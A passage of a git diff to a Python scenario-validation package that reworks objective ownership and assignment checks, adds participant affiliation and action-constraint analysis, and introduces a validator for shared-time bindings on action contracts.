array=False), + redacted_raw_value_schema( + sensitivity_field="command_kind", + raw_field="command", + raw_value_schema={"type": "string", "minLength": 1}, + ), + ] + } + ) + command_kind: GovernedVocabulary[SshForcedCommandKind] = SshForcedCommandKind.ABSOLUTE_PATH command: str = "" command_redacted: bool | str = False diff --git a/implementations/python/packages/raes/scenario.py b/implementations/python/packages/raes/scenario.py index 19a9f3ddd..30db31806 100644 --- a/implementations/python/packages/raes/scenario.py +++ b/implementations/python/packages/raes/scenario.py @@ -15,6 +15,7 @@ from typing import ClassVar, Literal from pydantic import ConfigDict, Field, PrivateAttr, model_validator +from raes_contracts.augmentation_scope import OptionalAugmentationScope from ._base import SDLModel from ._capability_binding_normalization import normalize_capability_binding @@ -293,6 +294,7 @@ class ScenarioContent(LegacyClassificationGuard): outcome_interpretation_rules: dict[str, OutcomeInterpretationRule] = Field(default_factory=dict) behavior_specifications: dict[str, ParticipantBehaviorSpecification] = Field(default_factory=dict) evidence_requirements: dict[str, EvidenceRequirement] = Field(default_factory=dict) + augmentation_scope: OptionalAugmentationScope = None time_domains: dict[str, TimeDomain] = Field(default_factory=dict) clocks: dict[str, Clock] = Field(default_factory=dict) time_domain_mappings: dict[str, TimeDomainMapping] = Field(default_factory=dict) diff --git a/implementations/python/packages/raes/semantics/objective_semantics/__init__.py b/implementations/python/packages/raes/semantics/objective_semantics/__init__.py index c5e84e8e0..e85870d94 100644 --- a/implementations/python/packages/raes/semantics/objective_semantics/__init__.py +++ b/implementations/python/packages/raes/semantics/objective_semantics/__init__.py @@ -33,8 +33,9 @@ from ..objectives import ObjectiveDependencyRole, ObjectiveWindowAnalysis from ._analysis import ( - _analyze_actor_binding, + _analyze_action_constraints, _analyze_dependencies, + _analyze_objective_relations, _analyze_success, _analyze_targets, _analyze_window, @@ -44,8 +45,10 @@ _ordered_unique, ) from ._constants import ( - OBJECTIVE_ACTOR_DEPENDENCY_ROLES, + OBJECTIVE_ACTION_CONSTRAINT_DEPENDENCY_ROLES, + OBJECTIVE_ASSIGNMENT_DEPENDENCY_ROLES, OBJECTIVE_DEPENDENCY_DEPENDENCY_ROLES, + OBJECTIVE_OWNER_DEPENDENCY_ROLES, OBJECTIVE_SUCCESS_DEPENDENCY_ROLES, OBJECTIVE_TARGET_DEPENDENCY_ROLES, OBJECTIVE_WINDOW_DEPENDENCY_ROLES, @@ -55,6 +58,7 @@ ObjectiveIssue, ObjectiveReference, ObjectiveReferenceKind, + ObjectiveRelationCatalog, ObjectiveResourceDependencies, ObjectiveSemanticAnalysis, WindowResourceCatalog, @@ -96,8 +100,7 @@ def partition_objective_dependencies( def analyze_objective_semantics( *, objectives_by_name: Mapping[str, object], - agents_by_name: Mapping[str, object], - entity_names: Collection[str], + relation_resources: ObjectiveRelationCatalog, assessment_resources: AssessmentResourceCatalog, window_resources: WindowResourceCatalog, targetable_name_index: Mapping[str, Collection[str]], @@ -105,8 +108,8 @@ def analyze_objective_semantics( ) -> ObjectiveSemanticAnalysis: """Resolve the objective reference graph and derive its shared semantics. - Inputs are the name-keyed objective and agent maps, the entity name set, - the bundled assessment-pipeline and timeline resource catalogs, and the + Inputs are the name-keyed objective map, bundled relation declarations, + assessment-pipeline and timeline resource catalogs, and the targetable named-reference index; ``is_unresolved`` (default: never) lets a caller skip references that are still ``${var}`` placeholders. Returns the normalized references, the per-objective ordering/refresh dependency names, @@ -117,15 +120,18 @@ def analyze_objective_semantics( """ unresolved = is_unresolved or _never_unresolved - entity_name_set = set(entity_names) + entity_name_set = set(relation_resources.entity_names) references: list[ObjectiveReference] = [] issues: list[ObjectiveIssue] = [] dependencies: list[ObjectiveResourceDependencies] = [] window_analyses: dict[str, ObjectiveWindowAnalysis] = {} for objective_name, objective in objectives_by_name.items(): - actor_refs, actor_issues = _analyze_actor_binding( - objective_name, objective, agents_by_name, entity_name_set, unresolved + relation_refs, relation_issues = _analyze_objective_relations( + objective_name, objective, relation_resources.agents, entity_name_set, unresolved + ) + action_refs, action_issues = _analyze_action_constraints( + objective_name, objective, relation_resources.action_contracts, unresolved ) target_refs, target_issues = _analyze_targets(objective_name, objective, targetable_name_index, unresolved) success_refs, success_issues, resolved_success = _analyze_success( @@ -138,12 +144,14 @@ def analyze_objective_semantics( objective_name, objective, objectives_by_name, unresolved ) - references.extend(actor_refs) + references.extend(relation_refs) + references.extend(action_refs) references.extend(target_refs) references.extend(success_refs) references.extend(window_refs) references.extend(dep_refs) - issues.extend(actor_issues) + issues.extend(relation_issues) + issues.extend(action_issues) issues.extend(target_issues) issues.extend(success_issues) issues.extend(window_issues) diff --git a/implementations/python/packages/raes/semantics/objective_semantics/_analysis.py b/implementations/python/packages/raes/semantics/objective_semantics/_analysis.py index 5cd76a401..20d1e215c 100644 --- a/implementations/python/packages/raes/semantics/objective_semantics/_analysis.py +++ b/implementations/python/packages/raes/semantics/objective_semantics/_analysis.py @@ -11,8 +11,10 @@ analyze_objective_window, ) from ._constants import ( - OBJECTIVE_ACTOR_DEPENDENCY_ROLES, + OBJECTIVE_ACTION_CONSTRAINT_DEPENDENCY_ROLES, + OBJECTIVE_ASSIGNMENT_DEPENDENCY_ROLES, OBJECTIVE_DEPENDENCY_DEPENDENCY_ROLES, + OBJECTIVE_OWNER_DEPENDENCY_ROLES, OBJECTIVE_SUCCESS_DEPENDENCY_ROLES, OBJECTIVE_TARGET_DEPENDENCY_ROLES, OBJECTIVE_WINDOW_DEPENDENCY_ROLES, @@ -86,17 +88,17 @@ def _check_agent( agents_by_name: Mapping[str, object], unresolved: Callable[[object], bool], ) -> tuple[list[ObjectiveReference], list[ObjectiveIssue]]: - name = getattr(objective, "agent", "") or "" + name = getattr(objective, "assigned_participant", "") or "" if not name or unresolved(name): return [], [] if name not in agents_by_name: - return [], [ObjectiveIssue(code="objective.actor-agent-undeclared", objective_name=objective_name, ref=name)] + return [], [ObjectiveIssue(code="objective.assignment-undeclared", objective_name=objective_name, ref=name)] ref = ObjectiveReference( raw=name, canonical_name=name, - reference_kind=ObjectiveReferenceKind.ACTOR, + reference_kind=ObjectiveReferenceKind.ASSIGNMENT, source_name=objective_name, - dependency_roles=OBJECTIVE_ACTOR_DEPENDENCY_ROLES, + dependency_roles=OBJECTIVE_ASSIGNMENT_DEPENDENCY_ROLES, ) return [ref], _check_agent_actions(objective_name, objective, name, agents_by_name[name], unresolved) @@ -107,22 +109,22 @@ def _check_entity( entity_name_set: set[str], unresolved: Callable[[object], bool], ) -> tuple[list[ObjectiveReference], list[ObjectiveIssue]]: - name = getattr(objective, "entity", "") or "" + name = getattr(objective, "owner", "") or "" if not name or unresolved(name): return [], [] if name not in entity_name_set: - return [], [ObjectiveIssue(code="objective.actor-entity-undeclared", objective_name=objective_name, ref=name)] + return [], [ObjectiveIssue(code="objective.owner-undeclared", objective_name=objective_name, ref=name)] ref = ObjectiveReference( raw=name, canonical_name=f"entities.{name}", - reference_kind=ObjectiveReferenceKind.ACTOR, + reference_kind=ObjectiveReferenceKind.OWNER, source_name=objective_name, - dependency_roles=OBJECTIVE_ACTOR_DEPENDENCY_ROLES, + dependency_roles=OBJECTIVE_OWNER_DEPENDENCY_ROLES, ) return [ref], [] -def _analyze_actor_binding( +def _analyze_objective_relations( objective_name: str, objective: object, agents_by_name: Mapping[str, object], @@ -134,6 +136,34 @@ def _analyze_actor_binding( return [*agent_refs, *entity_refs], [*agent_issues, *entity_issues] +def _analyze_action_constraints( + objective_name: str, + objective: object, + action_contracts: Mapping[str, object], + unresolved: Callable[[object], bool], +) -> tuple[list[ObjectiveReference], list[ObjectiveIssue]]: + references: list[ObjectiveReference] = [] + issues: list[ObjectiveIssue] = [] + for action in dict.fromkeys(getattr(objective, "actions", []) or []): + if unresolved(action): + continue + if action not in action_contracts: + issues.append( + ObjectiveIssue(code="objective.action-contract-undeclared", objective_name=objective_name, ref=action) + ) + else: + references.append( + ObjectiveReference( + raw=action, + canonical_name=f"action_contracts.{action}", + reference_kind=ObjectiveReferenceKind.ACTION_CONSTRAINT, + source_name=objective_name, + dependency_roles=OBJECTIVE_ACTION_CONSTRAINT_DEPENDENCY_ROLES, + ) + ) + return references, issues + + def _analyze_targets( objective_name: str, objective: object, diff --git a/implementations/python/packages/raes/semantics/objective_semantics/_constants.py b/implementations/python/packages/raes/semantics/objective_semantics/_constants.py index f721fac5a..c58153467 100644 --- a/implementations/python/packages/raes/semantics/objective_semantics/_constants.py +++ b/implementations/python/packages/raes/semantics/objective_semantics/_constants.py @@ -14,6 +14,8 @@ _BOTH_ROLES = (ObjectiveDependencyRole.ORDERING, ObjectiveDependencyRole.REFRESH) OBJECTIVE_SUCCESS_DEPENDENCY_ROLES: tuple[ObjectiveDependencyRole, ...] = _BOTH_ROLES OBJECTIVE_DEPENDENCY_DEPENDENCY_ROLES: tuple[ObjectiveDependencyRole, ...] = _BOTH_ROLES -OBJECTIVE_ACTOR_DEPENDENCY_ROLES: tuple[ObjectiveDependencyRole, ...] = () +OBJECTIVE_OWNER_DEPENDENCY_ROLES: tuple[ObjectiveDependencyRole, ...] = () +OBJECTIVE_ASSIGNMENT_DEPENDENCY_ROLES: tuple[ObjectiveDependencyRole, ...] = () +OBJECTIVE_ACTION_CONSTRAINT_DEPENDENCY_ROLES: tuple[ObjectiveDependencyRole, ...] = () OBJECTIVE_TARGET_DEPENDENCY_ROLES: tuple[ObjectiveDependencyRole, ...] = () OBJECTIVE_WINDOW_DEPENDENCY_ROLES: tuple[ObjectiveDependencyRole, ...] = (ObjectiveDependencyRole.REFRESH,) diff --git a/implementations/python/packages/raes/semantics/objective_semantics/_types.py b/implementations/python/packages/raes/semantics/objective_semantics/_types.py index c2f310fa4..03cc420c7 100644 --- a/implementations/python/packages/raes/semantics/objective_semantics/_types.py +++ b/implementations/python/packages/raes/semantics/objective_semantics/_types.py @@ -2,7 +2,7 @@ from __future__ import annotations -from collections.abc import Mapping +from collections.abc import Collection, Mapping from dataclasses import dataclass, field from enum import Enum @@ -17,7 +17,9 @@ class ObjectiveReferenceKind(str, Enum): """Kinds of cross-resource reference an objective carries.""" - ACTOR = "actor" + OWNER = "owner" + ASSIGNMENT = "assignment" + ACTION_CONSTRAINT = "action_constraint" TARGET = "target" SUCCESS = "success" WINDOW = "window" @@ -98,6 +100,15 @@ def dependencies_for(self, name: str) -> ObjectiveResourceDependencies: raise KeyError(name) +@dataclass(frozen=True) +class ObjectiveRelationCatalog: + """Declarations that bind objective ownership, assignment, and actions.""" + + agents: Mapping[str, object] + entity_names: Collection[str] + action_contracts: Mapping[str, object] + + @dataclass(frozen=True) class AssessmentResourceCatalog: """The backend-neutral assertion section objective success may name.""" diff --git a/implementations/python/packages/raes/semantics/participant_behavior/__init__.py b/implementations/python/packages/raes/semantics/participant_behavior/__init__.py index 1442a920b..ec3549045 100644 --- a/implementations/python/packages/raes/semantics/participant_behavior/__init__.py +++ b/implementations/python/packages/raes/semantics/participant_behavior/__init__.py @@ -2,7 +2,9 @@ from __future__ import annotations +from ._affiliations import analyze_participant_affiliations from ._analysis import analyze_participant_behavior +from ._references import select_participants from ._types import ( ParticipantBehaviorAnalysis, ParticipantBehaviorIssue, diff --git a/implementations/python/packages/raes/semantics/participant_behavior/_affiliations.py b/implementations/python/packages/raes/semantics/participant_behavior/_affiliations.py new file mode 100644 index 000000000..8b5afe640 --- /dev/null +++ b/implementations/python/packages/raes/semantics/participant_behavior/_affiliations.py @@ -0,0 +1,33 @@ +"""Affiliation references preserve participant and organization identities.""" + +from collections.abc import Callable, Collection, Mapping + +from ._types import ParticipantBehaviorAnalysis, ParticipantBehaviorIssue, ParticipantBehaviorReference + + +def analyze_participant_affiliations( + *, + agents_by_name: Mapping[str, object], + entity_names: Collection[str], + is_unresolved: Callable[[object], bool], +) -> ParticipantBehaviorAnalysis: + references = [] + issues = [] + for name, participant in agents_by_name.items(): + seen: set[str] = set() + for affiliation in participant.affiliations: + if is_unresolved(affiliation): + continue + message = None + if affiliation not in entity_names: + message = f"Agent '{name}' affiliation references undefined entity '{affiliation}'" + code = "participant.affiliation-unbound" + elif affiliation in seen: + message = f"Agent '{name}' affiliations must name distinct entities" + code = "participant.affiliation-duplicate" + if message: + issues.append(ParticipantBehaviorIssue(code, name, affiliation, message=message)) + else: + references.append(ParticipantBehaviorReference(name, "affiliation", affiliation, affiliation)) + seen.add(affiliation) + return ParticipantBehaviorAnalysis(tuple(references), tuple(issues)) diff --git a/implementations/python/packages/raes/semantics/participant_behavior/_analysis.py b/implementations/python/packages/raes/semantics/participant_behavior/_analysis.py index 3104b5f52..e7a2e3849 100644 --- a/implementations/python/packages/raes/semantics/participant_behavior/_analysis.py +++ b/implementations/python/packages/raes/semantics/participant_behavior/_analysis.py @@ -15,6 +15,7 @@ _interaction_references_for_action_contracts, _observation_boundary_references_for_agent, _visibility_issues_for_observation_boundaries, + select_participants, ) from ._tool_affordance import _tool_affordance_reference_issues from ._types import ( @@ -70,11 +71,9 @@ def _behavior_specification_issues( for spec_name, behavior_spec in behavior_specifications.items(): if getattr(behavior_spec, "autonomous_execution", None) is None: continue - participant_names = { - str(ref) - for ref in getattr(behavior_spec, "participant_refs", []) or [] - if str(ref) in reference_context.participant_names - } + participant_names = select_participants( + behavior_spec, reference_context.participant_names, reference_context.participant_roles_by_agent + ) for participant_name in sorted(participant_names): prior_owner = autonomous_owner_by_participant.setdefault(participant_name, str(spec_name)) if prior_owner != str(spec_name): diff --git a/implementations/python/packages/raes/semantics/participant_behavior/_autonomous.py b/implementations/python/packages/raes/semantics/participant_behavior/_autonomous.py index 970915a99..5b49b411f 100644 --- a/implementations/python/packages/raes/semantics/participant_behavior/_autonomous.py +++ b/implementations/python/packages/raes/semantics/participant_behavior/_autonomous.py @@ -26,20 +26,7 @@ def _autonomous_progression_issues( ) -> list[ParticipantBehaviorIssue]: policy = context.policy progression_mode = getattr(getattr(bindings.progression, "advancement_mode", None), "value", "") - clock_authority = getattr(getattr(bindings.clock, "authority_kind", None), "value", "") issues: list[ParticipantBehaviorIssue] = [] - if progression_mode == "externally_paced": - issues.append( - _autonomous_issue( - context, - "participant.autonomous-progression-driver-unsupported", - policy.progression_policy_ref, - ) - ) - if progression_mode in {"real_time", "dilated"} and clock_authority != "runtime": - issues.append( - _autonomous_issue(context, "participant.autonomous-clock-authority-unsupported", policy.clock_ref) - ) if bindings.cadence_count == 1 and bindings.cadence is not None: start = getattr(bindings.cadence, "start", None) start_tick = getattr(start, "tick", 0) if start is not None else 0 @@ -61,7 +48,10 @@ def _activity_timing_unreachable( ) -> bool: minimum_ticks = policy.timing.minimum_ticks maximum_ticks = policy.timing.maximum_ticks - return not (isinstance(step_ticks, int) and not minimum_ticks % step_ticks and not maximum_ticks % step_ticks) + # Source variables are checked again on the admitted instantiated scenario. + return isinstance(step_ticks, int) and any( + isinstance(bound, int) and bound % step_ticks for bound in (minimum_ticks, maximum_ticks) + ) def _cadence_unreachable(bindings: _AutonomousTimeBindings, step_ticks: object) -> bool: @@ -136,7 +126,7 @@ def _autonomous_non_evaluated_issues( ) ) has_objective = any( - getattr(objective, "agent", None) == participant_name + getattr(objective, "assigned_participant", None) == participant_name for objective in context.references.objectives.values() ) if has_objective: @@ -162,7 +152,7 @@ def _autonomous_non_evaluated_issues( return issues -def _autonomous_declared_authority_issues( +def _autonomous_objective_authority_issues( context: _AutonomousExecutionReferenceContext, ) -> list[ParticipantBehaviorIssue]: authority = context.policy.evaluation_authority @@ -179,6 +169,20 @@ def _autonomous_declared_authority_issues( objective_ref, ) ) + else: + assignment = getattr(context.references.objectives[objective_name], "assigned_participant", None) + if not context.is_unresolved(assignment) and assignment not in context.participants: + issues.append( + _autonomous_issue(context, "participant.autonomous-objective-not-assigned", objective_ref) + ) + return issues + + +def _autonomous_declared_authority_issues( + context: _AutonomousExecutionReferenceContext, +) -> list[ParticipantBehaviorIssue]: + authority = context.policy.evaluation_authority + issues = _autonomous_objective_authority_issues(context) unsupported_authority_refs = ( ("proof_producer_refs", authority.proof_producer_refs), ("score_authority_refs", authority.score_authority_refs), diff --git a/implementations/python/packages/raes/semantics/participant_behavior/_behavior_spec.py b/implementations/python/packages/raes/semantics/participant_behavior/_behavior_spec.py index 0dcee8985..794ffc43d 100644 --- a/implementations/python/packages/raes/semantics/participant_behavior/_behavior_spec.py +++ b/implementations/python/packages/raes/semantics/participant_behavior/_behavior_spec.py @@ -138,6 +138,9 @@ def _behavior_specification_reference_issues( ) issues: list[ParticipantBehaviorIssue] = [] for refs, known_names, code in reference_sets: + if code == "participant.behavior-spec-role-unbound" and any(is_unresolved(role) for role in known_names): + # Instantiation repeats role binding after participant parameters resolve. + continue issues.extend( _behavior_specification_named_ref_issues( spec_name=spec_name, diff --git a/implementations/python/packages/raes/semantics/participant_behavior/_references.py b/implementations/python/packages/raes/semantics/participant_behavior/_references.py index 6a3cae625..76d1e5ebb 100644 --- a/implementations/python/packages/raes/semantics/participant_behavior/_references.py +++ b/implementations/python/packages/raes/semantics/participant_behavior/_references.py @@ -259,15 +259,20 @@ def _tool_affordance_participants( behavior_spec: object, reference_context: _BehaviorSpecificationReferenceContext, ) -> set[str]: + return select_participants( + behavior_spec, reference_context.participant_names, reference_context.participant_roles_by_agent + ) + + +def select_participants( + behavior_spec: object, + participant_names: set[str], + participant_roles: Mapping[str, str | None], +) -> set[str]: + """Select explicit participants and effective roles without affiliation inference.""" participants = { - str(ref) - for ref in getattr(behavior_spec, "participant_refs", []) or [] - if str(ref) in reference_context.participant_names + str(ref) for ref in getattr(behavior_spec, "participant_refs", []) or [] if str(ref) in participant_names } role_refs = {str(ref) for ref in getattr(behavior_spec, "participant_role_refs", []) or []} - participants.update( - participant_name - for participant_name, role in reference_context.participant_roles_by_agent.items() - if role in role_refs - ) + participants.update(participant_name for participant_name, role in participant_roles.items() if role in role_refs) return participants diff --git a/implementations/python/packages/raes/semantics/participant_outcome.py b/implementations/python/packages/raes/semantics/participant_outcome.py index 53a2ad765..e33b761e7 100644 --- a/implementations/python/packages/raes/semantics/participant_outcome.py +++ b/implementations/python/packages/raes/semantics/participant_outcome.py @@ -124,6 +124,7 @@ def analyze_participant_outcome_interpretations( issues: list[ParticipantOutcomeIssue] = [] for rule_name, rule in outcome_interpretation_rules.items(): + issues.extend(_local_effect_issues(str(rule_name), rule, action_contracts)) for binding in getattr(rule, "source_bindings", ()) or (): issue = _source_ref_issue( rule_name=str(rule_name), @@ -153,3 +154,26 @@ def analyze_participant_outcome_interpretations( "ParticipantOutcomeIssue", "analyze_participant_outcome_interpretations", ] + + +def _local_effect_issues( + rule_name: str, rule: object, action_contracts: Mapping[str, object] +) -> list[ParticipantOutcomeIssue]: + issues: list[ParticipantOutcomeIssue] = [] + local = getattr(rule, "local_outcome", None) + if local is not None: + sources = {source.source_id: source for source in rule.source_bindings} + for criterion in local.criteria: + source = sources[criterion.source_id] + action = action_contracts.get(source.ref) + if action is not None and criterion.effect_id not in {effect.effect_id for effect in action.effects}: + issues.append( + ParticipantOutcomeIssue( + code="participant.outcome.local-effect-unbound", + rule_name=str(rule_name), + binding_id=criterion.criterion_id, + ref=criterion.effect_id, + layer="local_outcome_effect", + ) + ) + return issues diff --git a/implementations/python/packages/raes/semantics/participant_temporal_bindings.py b/implementations/python/packages/raes/semantics/participant_temporal_bindings.py new file mode 100644 index 000000000..fe770608c --- /dev/null +++ b/implementations/python/packages/raes/semantics/participant_temporal_bindings.py @@ -0,0 +1,220 @@ +"""Backend-independent reference validity for explicit shared-time bindings.""" + +from collections.abc import Iterable, Iterator, Mapping, Sequence + +from .._base import is_variable_ref +from ..participant_temporal_semantics import ParticipantSharedTimeBinding +from ..scenario import ScenarioContent +from .participant_behavior._references import _resolve_section_ref + + +def participant_temporal_binding_errors(scenario: ScenarioContent) -> Iterator[str]: + """Check declaration ownership, not backend support or implementation style.""" + + for action_name, action in scenario.action_contracts.items(): + for temporal in action.temporal_contracts: + binding = temporal.shared_time_binding + if binding is not None: + yield from _binding_errors(scenario, action_name, temporal, binding) + + +def _binding_errors( + scenario: ScenarioContent, + action_name: str, + temporal: object, + binding: ParticipantSharedTimeBinding, +) -> tuple[str, ...]: + label = f"Action '{action_name}' temporal binding '{temporal.temporal_id}'" + clock_name = _resolve_section_ref(binding.clock_ref, "clocks", scenario.clocks) + constraint_name = _resolve_section_ref( + binding.constraint_ref, "temporal_constraints", scenario.temporal_constraints + ) + errors = list(_binding_reference_errors(label, binding, clock_name, constraint_name)) + if clock_name is None or constraint_name is None: + return tuple(errors) + constraint = scenario.temporal_constraints[constraint_name] + errors.extend(_shared_clock_errors(scenario, temporal, action_name, clock_name, constraint, label)) + if temporal.temporal_kind.value == "dwell": + errors.extend(_dwell_binding_errors(scenario, action_name, binding, constraint, label)) + errors.extend(_policy_clock_errors(scenario, action_name, clock_name, label)) + return tuple(errors) + + +def _binding_reference_errors( + label: str, + binding: ParticipantSharedTimeBinding, + clock_name: str | None, + constraint_name: str | None, +) -> Iterator[str]: + if clock_name is None and not is_variable_ref(binding.clock_ref): + yield f"{label} clock_ref is not declared" + if constraint_name is None and not is_variable_ref(binding.constraint_ref): + yield f"{label} constraint_ref is not declared" + + +def _shared_clock_errors( + scenario: ScenarioContent, + temporal: object, + action_name: str, + clock_name: str, + constraint: object, + label: str, +) -> tuple[str, ...]: + errors: list[str] = [] + if constraint.clock_ref != clock_name: + errors.append(f"{label} constraint uses another clock") + clock = scenario.clocks[clock_name] + domain_name = _resolve_section_ref(clock.time_domain_ref, "time_domains", scenario.time_domains) + if domain_name is not None and temporal.time_domain.value != _clock_domain(scenario, domain_name): + errors.append(f"{label} time domain contradicts its shared clock declaration") + expected_kind = "deadline" if temporal.temporal_kind.value == "deadline" else "window" + if constraint.constraint_kind.value != expected_kind: + errors.append(f"{label} requires a {expected_kind} constraint") + if not _constraint_has_subject(constraint.subject_refs, action_name): + errors.append(f"{label} constraint must name the bound action as a subject") + return tuple(errors) + + +def _clock_domain(scenario: ScenarioContent, domain_name: str) -> str: + return { + "simulated": "simulation_time", + "wall_clock": "wall_clock_time", + "logical": "scenario_time", + "monotonic": "scenario_time", + "external": "backend_time", + }[scenario.time_domains[domain_name].kind.value] + + +def _constraint_has_subject(subject_refs: Sequence[str], action_name: str) -> bool: + return action_name in subject_refs or f"action_contracts.{action_name}" in subject_refs + + +def _dwell_binding_errors( + scenario: ScenarioContent, + action_name: str, + binding: ParticipantSharedTimeBinding, + constraint: object, + label: str, +) -> tuple[str, ...]: + errors: list[str] = [] + action = scenario.action_contracts[action_name] + if binding.condition_precondition_id not in {item.precondition_id for item in action.preconditions}: + errors.append(f"{label} condition_precondition_id must name a precondition of the bound action") + boundary = _resolve_section_ref( + binding.observation_boundary_ref, + "observation_boundaries", + scenario.observation_boundaries, + ) + if boundary is None and not is_variable_ref(binding.observation_boundary_ref): + errors.append(f"{label} observation_boundary_ref is not declared") + if boundary is not None: + errors.extend(_dwell_observation_errors(scenario, action_name, binding, boundary, label)) + if _invalid_dwell_interval(constraint): + errors.append(f"{label} dwell requires a nonempty interval within one clock segment") + return tuple(errors) + + +def _invalid_dwell_interval(constraint: object) -> bool: + if constraint.start is None or constraint.end is None: + return False + return (constraint.start.tick, constraint.start.microstep) >= (constraint.end.tick, constraint.end.microstep) + + +def _dwell_observation_errors( + scenario: ScenarioContent, + action_name: str, + binding: ParticipantSharedTimeBinding, + boundary_name: str, + label: str, +) -> Iterator[str]: + boundary = scenario.observation_boundaries[boundary_name] + condition = next( + ( + item + for item in scenario.action_contracts[action_name].preconditions + if item.precondition_id == binding.condition_precondition_id + ), + None, + ) + observable = set(boundary.observable_refs) + for rule in boundary.view_rules: + if rule.disposition.value in {"observable", "disclosed", "discovered", "inferred", "deceptive"}: + observable.add(rule.information_ref) + else: + observable.discard(rule.information_ref) + if condition is not None: + if any(ref not in observable and not is_variable_ref(ref) for ref in condition.support_refs): + yield f"{label} condition support must be observable through its boundary" + if any(ref not in boundary.evidence_refs and not is_variable_ref(ref) for ref in condition.evidence_refs): + yield f"{label} condition evidence must be declared by its boundary" + yield from _dwell_boundary_ownership_errors(scenario, action_name, boundary_name, label) + + +def _resolved_names(refs: Iterable[str], section: str, declarations: Mapping[str, object]) -> set[str | None]: + return {_resolve_section_ref(ref, section, declarations) for ref in refs} + + +def _dwell_boundary_ownership_errors( + scenario: ScenarioContent, action_name: str, boundary_name: str, label: str +) -> Iterator[str]: + yield from _agent_boundary_ownership_errors(scenario, action_name, boundary_name, label) + yield from _behavior_boundary_ownership_errors(scenario, action_name, boundary_name, label) + + +def _agent_boundary_ownership_errors( + scenario: ScenarioContent, action_name: str, boundary_name: str, label: str +) -> Iterator[str]: + for participant_name, agent in scenario.agents.items(): + if action_name in _resolved_names(agent.actions, "action_contracts", scenario.action_contracts): + authorized = _resolved_names( + agent.observation_boundaries, "observation_boundaries", scenario.observation_boundaries + ) + if boundary_name not in authorized: + yield f"{label} observation boundary is outside participant '{participant_name}'" + + +def _behavior_boundary_ownership_errors( + scenario: ScenarioContent, action_name: str, boundary_name: str, label: str +) -> Iterator[str]: + for spec in scenario.behavior_specifications.values(): + if action_name not in _resolved_names(spec.action_contract_refs, "action_contracts", scenario.action_contracts): + continue + authorized = _resolved_names( + spec.observation_boundary_refs, "observation_boundaries", scenario.observation_boundaries + ) + if boundary_name not in authorized: + yield f"{label} observation boundary is outside its behavior specification" + if spec.autonomous_execution is not None: + selected = _autonomous_boundary_name(scenario, spec.autonomous_execution) + if selected is not None and selected != boundary_name: + yield f"{label} must use its autonomous policy's observation boundary" + + +def _autonomous_boundary_name(scenario: ScenarioContent, policy: object) -> str | None: + return _resolve_section_ref( + policy.observation_boundary_ref, + "observation_boundaries", + scenario.observation_boundaries, + ) + + +def _policy_clock_errors( + scenario: ScenarioContent, + action_name: str, + clock_name: str, + label: str, +) -> Iterator[str]: + for spec in scenario.behavior_specifications.values(): + policy = spec.autonomous_execution + if policy is None: + continue + candidates = getattr(policy, "action_candidates", None) + refs = ( + [candidate.action_ref for candidate in candidates.values()] + if candidates is not None + else policy.action_order + ) + if any(_resolve_section_ref(ref, "action_contracts", scenario.action_contracts) == action_name for ref in refs): + policy_clock = _resolve_section_ref(policy.clock_ref, "clocks", scenario.clocks) + if policy_clock is not None and policy_clock != clock_name: + yield f"{label} must use its autonomous policy's shared clock" diff --git a/implementations/python/packages/raes/validator/__init__.py b/implementations/python/packages/raes/validator/__init__.py index 861922f26..3b3e5e92b 100644 --- a/implementations/python/packages/raes/validator/__init__.py +++ b/implementations/python/packages/raes/validator/__init__.py @@ -12,6 +12,7 @@ from ._mixed_control import _MixedControlMixin from ._nodes_infra_network import _NodesInfraNetworkMixin from ._participant_inject_deliveries import _ParticipantInjectDeliveriesMixin +from ._participant_relationships import _ParticipantRelationshipsMixin from ._participant_tool_affordances import _ParticipantToolAffordancesMixin from ._propositions import _PropositionsMixin from ._relationships import _RelationshipsMixin @@ -47,6 +48,7 @@ class SemanticValidator( _RelationshipsProxyMixin, _MixedControlMixin, _ParticipantInjectDeliveriesMixin, + _ParticipantRelationshipsMixin, _ParticipantToolAffordancesMixin, _ServiceMaterializationMixin, _AccountsMixin, diff --git a/implementations/python/packages/raes/validator/_content_objectives.py b/implementations/python/packages/raes/validator/_content_objectives.py index e5a11a81b..ae1eb1b5e 100644 --- a/implementations/python/packages/raes/validator/_content_objectives.py +++ b/implementations/python/packages/raes/validator/_content_objectives.py @@ -9,11 +9,13 @@ from ..semantics.objective_semantics import ( AssessmentResourceCatalog, ObjectiveIssue, + ObjectiveRelationCatalog, WindowResourceCatalog, analyze_objective_semantics, ) from ..semantics.participant_behavior import ( ParticipantBehaviorIssue, + analyze_participant_affiliations, analyze_participant_behavior, ) from ..semantics.participant_interactive_access import analyze_participant_interactive_access @@ -21,7 +23,9 @@ ParticipantOutcomeIssue, analyze_participant_outcome_interpretations, ) +from ..semantics.participant_temporal_bindings import participant_temporal_binding_errors from ._participant_execution_renderers import AUTONOMOUS_PARTICIPANT_ISSUE_RENDERERS +from ._participant_outcome_renderers import PARTICIPANT_OUTCOME_ISSUE_RENDERERS from ._participant_resource_budget_owners import participant_resource_budget_owner_errors # Renders an objective-semantics issue (machine-readable code from @@ -29,15 +33,16 @@ # the SDL surface has always used. Keyed by issue code so a new code is a new # line here rather than a new branch in a growing conditional. _OBJECTIVE_ISSUE_RENDERERS = { - "objective.actor-agent-undeclared": ( + "objective.assignment-undeclared": ( lambda i: f"Objective '{i.objective_name}' references undefined agent '{i.ref}'" ), - "objective.actor-entity-undeclared": ( - lambda i: f"Objective '{i.objective_name}' references undefined entity '{i.ref}'" - ), + "objective.owner-undeclared": (lambda i: f"Objective '{i.objective_name}' references undefined entity '{i.ref}'"), "objective.action-not-declared": ( lambda i: f"Objective '{i.objective_name}' action '{i.ref}' is not declared by agent '{i.actor_name}'" ), + "objective.action-contract-undeclared": ( + lambda i: f"Objective '{i.objective_name}' action '{i.ref}' must reference a declared action_contract" + ), "objective.target-unresolvable": ( lambda i: f"Objective '{i.objective_name}' target '{i.ref}' does not reference any defined targetable element" ), @@ -232,24 +237,6 @@ ), } -_PARTICIPANT_OUTCOME_ISSUE_RENDERERS = { - "participant.outcome.source-action-unbound": ( - lambda i: f"Outcome interpretation rule '{i.rule_name}' source '{i.ref}' references undefined action contract" - ), - "participant.outcome.source-objective-unbound": ( - lambda i: f"Outcome interpretation rule '{i.rule_name}' source '{i.ref}' references undefined objective" - ), - "participant.outcome.source-workflow-unbound": ( - lambda i: f"Outcome interpretation rule '{i.rule_name}' source '{i.ref}' references undefined workflow" - ), - "participant.outcome.target-objective-unbound": ( - lambda i: f"Outcome interpretation rule '{i.rule_name}' target '{i.ref}' references undefined objective" - ), - "participant.outcome.target-workflow-unbound": ( - lambda i: f"Outcome 